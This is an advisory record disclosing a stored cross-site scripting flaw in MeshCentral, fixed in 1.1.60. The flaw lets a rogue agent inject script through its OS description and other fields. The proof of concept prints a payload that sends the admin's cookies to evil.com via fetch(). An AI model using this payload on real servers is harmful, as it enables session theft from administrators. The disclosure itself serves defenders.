{"id":"GHSA-c7hr-448w-65px","summary":"MeshCentral has unsanitized data fields","details":"### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e","modified":"2026-08-18T20:15:10.163028355Z","published":"2026-08-18T20:09:35Z","database_specific":{"github_reviewed_at":"2026-08-18T20:09:35Z","nvd_published_at":null,"cwe_ids":["CWE-20","CWE-74"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px"},{"type":"PACKAGE","url":"https://github.com/Ylianst/MeshCentral"},{"type":"WEB","url":"https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60"}],"affected":[{"package":{"name":"meshcentral","ecosystem":"npm","purl":"pkg:npm/meshcentral"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.60"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-c7hr-448w-65px/GHSA-c7hr-448w-65px.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"}]}